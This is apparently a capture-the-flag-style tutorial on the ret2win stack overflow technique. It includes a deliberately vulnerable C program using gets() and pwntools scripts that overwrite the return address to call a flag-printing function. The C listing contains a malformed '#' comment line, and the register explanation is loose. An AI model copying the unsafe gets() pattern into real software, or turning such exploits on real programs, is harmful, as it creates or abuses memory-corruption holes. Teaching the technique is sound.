Binary Exploitation Series

Introduction

Binary exploitation is a field within computer security that involves finding and exploiting vulnerabilities in binary code, such as executable files or software applications. This practice, often performed by ethical hackers or security researchers, aims to uncover weaknesses that can be leveraged to gain unauthorized access, execute arbitrary code, or manipulate the behavior of a program.

Return-to-Win is a specific technique used in binary exploitation that focuses on exploiting vulnerabilities related to function return addresses. It involves manipulating the execution flow of a program by overwriting the return address of a function with a target address. By doing so, an attacker can redirect the control flow to a desired location, potentially gaining unauthorized access or executing arbitrary code.

#include <stdio.h>
# compile it with: gcc ret2win.c -o ret2win

void winFunction() {
    char flag[64];
    FILE* file = fopen("flag.txt", "r");
    if (file == NULL) {
        printf("Error: Flag file could not be opened.\n");
        return;
    }
    fgets(flag, sizeof(flag), file);
    printf("Flag: %s\n", flag);
    fclose(file);
}

void vulnerableFunction() {
    char buffer[64];
    gets(buffer); // Unsafe input reading function
    printf("You entered: %s\n", buffer);
}

int main() {
    vulnerableFunction();
    return 0;
}

For instance, if the attacker wants to redirect the control flow to a function called winFunction, they would need to find the address of winFunction in the program’s memory. Once they have this address, they can construct a payload that overflows the buffer and overwrites the return address with the address of winFunction.

To do this, first we will need a couple of things:

  • the padding until we begin to overwrite the RIP ( instruction pointer )
  • the value we want to overwrite the RIP ( in our case with the winFunction )

Finding the Padding

The fastest way to find the padding is by using gdb-peda which haves a function called pattern create that will generate a string based on a lenght.

After we have created the cyclic pattern we can type r in order to start the program. When the program asks for the user input just paste the pattern and press ENTER

We can see that the program crashed at 0x000055555555523a in vulnerableFunction()
Using the command pattern search , it will search in the registers for the pattern.

Using the Information

Using this information we can see that in order to overwrite the RSP register ( stack pointer ) we need to give it 72 random bytes. Knowing this is a 64 bit arhitecture the offset to the RIP should be RSP+8.
This means that the next 8 bytes after the 72 offset will overwrite the instruction pointer.

Putting it Together

In order to test this we will create a script in python using pwntools ( https://docs.pwntools.com/en/stable/install.html )
The pwntools library is a powerful and widely used Python library designed for binary exploitation, particularly in the context of Capture The Flag (CTF) competitions and exploit development. It provides a comprehensive set of tools and utilities to assist in various stages of exploit development, including remote communication, payload generation, and exploitation techniques.

from pwn import *

p = process("./ret2win")

def main():

	payload = b""
	payload += b"A"*72
	payload += p64(0xdeadbeef)

	pause()
	p.sendline(payload)

	p.interactive()

if __name__=="__main__":
	main()

We will try to overwrite the RIP with the value 0xdeadbeef in order to see if we successfully overwrite it.

As you can see the value of RIP has changed to 0xdeadbeef, that means we have completely control of the instruction pointer.
The next part is to find the address of the winFunction and change it with the 0xdeadbeef address.
In order to do that we will use pwntools to automatically extract the address of the function:

from pwn import *

p = process("./ret2win")
elf = ELF("./ret2win", checksec=False)

def main():

	win_function = elf.symbols['winFunction']

	payload = b""
	payload += b"A"*72
	payload += p64(win_function)

	pause()
	p.sendline(payload)

	p.interactive()

if __name__=="__main__":
	main()

Or you could use gdb and extract the address manually:

In conclusion, the ret2win binary exploitation technique is a powerful tool in the hands of a skilled attacker. By carefully manipulating the stack and exploiting vulnerable functions, an attacker can gain control over the program’s execution flow, ultimately leading to a successful exploitation.

Thank you for joining me on this journey through the fascinating world of ret2win binary exploitation. Keep exploring, keep learning, and stay vigilant in the fight against cyber threats. Together, we can build a safer and more secure digital future.